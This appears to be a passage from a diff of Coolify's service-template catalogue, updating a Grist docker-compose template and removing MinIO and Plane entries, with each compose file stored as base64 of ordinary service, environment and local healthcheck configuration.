TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
"tags": [
"lowcode",
"nocode",
@@ -1902,7 +1902,7 @@
"category": "productivity",
"logo": "svgs/grist.svg",
"minversion": "0.0.0",
- "port": "443"
+ "port": "8484"
},
"grocy": {
"documentation": "https://github.com/grocy/grocy?utm_source=coolify.io",
@@ -2830,21 +2830,6 @@
"minversion": "0.0.0",
"port": "8080"
},
- "minio-community-edition": {
- "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io",
- "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.",
- "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "object",
- "storage",
- "server",
- "s3",
- "api"
- ],
- "category": "storage",
- "logo": "svgs/minio.svg",
- "minversion": "0.0.0"
- },
"mixpost": {
"documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io",
"slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.",
@@ -3658,27 +3643,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1R